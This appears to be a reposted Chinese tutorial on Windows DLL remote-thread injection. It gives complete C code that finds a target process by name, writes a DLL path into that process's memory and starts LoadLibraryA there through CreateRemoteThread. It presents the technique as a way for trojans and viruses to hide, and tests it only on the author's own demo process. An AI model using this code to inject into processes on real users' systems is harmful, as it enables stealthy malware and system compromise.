DLL远程线程注入
程序员文章站
2024-03-02 12:31:40
...
这里的 远程线程,并不是指跨计算机的,而是跨进程的,简单地说就是进程A要在进程B中创建一个线程。
无论是木马或者病毒,如果它们是EXE文件的话,运行时必定会产生一个进程,这样很容易被发现,为了不被发现,在编写病毒或者木马时,可以选择将其编写为DLL文件。DLL文件的运行不会单独创建一个进程,它的运行会被加载到进程的地址空间中,这一样以来,其隐蔽性相对较好。而人家进程本身不会加载额外的DLL文件,所以就需要强制的手段-》远程线程。
实现DLL远程注入的主要步骤:
1.通过系统进程快照(获得系统中所有的进程名),和想要注入的已知的进程名称匹配来获得该进程ID(因为后边需要通过ID得到进程句柄)
2.利用上一步获得的目标进程ID打开进程
3.在目标进程内存空间中申请大小为Length的内存空间,Length: .dll 文件的完整路径长度 我建的DLL文件名称是 DLL.lib
4.将想要注入的DLL文件的完整路径写在目标进程中刚才申请的内存空间内。
5.创建远程线程,执行注入
(1)得到目标进程的ID:
DWORD GetProcId()
{
char *TargetProcessName="Demo.exe"; //这是我运行的黑窗口程序,用一个while循环
//或者一个非授信的事件将程序进程阻塞不让进程结束
BOOL IsOk;
PROCESSENTRY32 ProcInfo; //这个结构体的内容包含进程的信息,在下边解释
//获取当前运行进程快照
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
//填充该结构体的大小
ProcInfo.dwSize = sizeof(ProcInfo);
//得到第一个进程
IsOk = Process32First(hSnapShot,&ProcInfo);
while (IsOk)
{
if (_tcscmp(TargetProcessName, ProcInfo.szExeFile)==0) //比较是否是目标进程名称
{
return ProcInfo.th32ProcessID; //返回目标进程ID
}
//继续获得下一个进程快照
IsOk = Process32Next(hSnapShot,&ProcInfo);
}
return 0;
}
PROCESSENTRY32: 需要包含头文件:# include <Tlhelp32.h>
typedef struct tagPROCESSENTRY32
{
DWORD dwSize; //结构体大小
DWORD cntUsage; //此进程的引用计数
DWORD th32ProcessID; // 此进程ID
ULONG_PTR th32DefaultHeapID; //进程默认堆ID
DWORD th32ModuleID; // 进程模块ID
DWORD cntThreads; //进程开启的线程数
DWORD th32ParentProcessID; // 父进程ID
LONG pcPriClassBase; // 线程优先权
DWORD dwFlags; //保留参数
CHAR szExeFile[MAX_PATH]; // 进程名称
} PROCESSENTRY32;
(2)注入DLL
VOID InjectDll(DWORD TargetProcId,char *DllName)
{
char *pFunName = "LoadLibraryA"; //LoadLibrary 是一个宏 而不是一个真正的函数 所以这里要确切的函数地址
//指定获取LoadLibraryA的地址还是LoadLibraryW的地址
//打开目标进程
HANDLE hTargetProc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,TargetProcId);
if (hTargetProc == NULL)
{
return;
}
//获得 完整的 DLL文件路径长度
int DllLength = strlen(DllName)+sizeof(char); //‘\0’
//在目标进程中申请DllLength大小的内存空间
//返回值是申请的地址 第二个参数是要申请的位置一般NULL 最后一个参数是内存属性 可读可写
PVOID pDllAddress = VirtualAllocEx(hTargetProc,NULL,DllLength,MEM_COMMIT,PAGE_READWRITE);
if (pDllAddress == NULL)
{
CloseHandle(hTargetProc);
return;
}
//DWORD ActWriteNum = 0;
SIZE_T ActWriteNum = 0;
//将完整的 DLL文件路径写入 目标进程中申请的内存 空间
WriteProcessMemory(hTargetProc,pDllAddress,DllName,DllLength,&ActWriteNum);
//获得LoadLibraryA的函数地址
FARPROC pFunAddress = GetProcAddress(GetModuleHandle("kernel32.dll"),pFunName);
//创建远程线程
//等价于 在 目标进程执行 LoadLibraryA("F:\\NewDemo\\Debug\\DLL.dll") 加载该DLL
HANDLE hRemoteThread = CreateRemoteThread(hTargetProc,NULL,NULL,
(LPTHREAD_START_ROUTINE)pFunAddress, pDllAddress,0,0);
WaitForSingleObject(hRemoteThread,INFINITE);
CloseHandle(hRemoteThread);
CloseHandle(hTargetProc);
}
(3)测试:
这是我Demo工程下的代码:
然后这个Demo进程就会一直存在。
我在DLL项目中的 DLLMAIN函数中 在 当 有进程加载的时候 写:
操作该注入工程的第三方项目中main函数:
char *DllName = "F:\\NewDemo\\Debug\\DLL.dll";
InjectDll(GetProcId(),DllName);
运行这个main函数之后,刚才Demo黑窗口中本来没有东西,这时候就出现“Demo进程被其他进程远程DLL注入”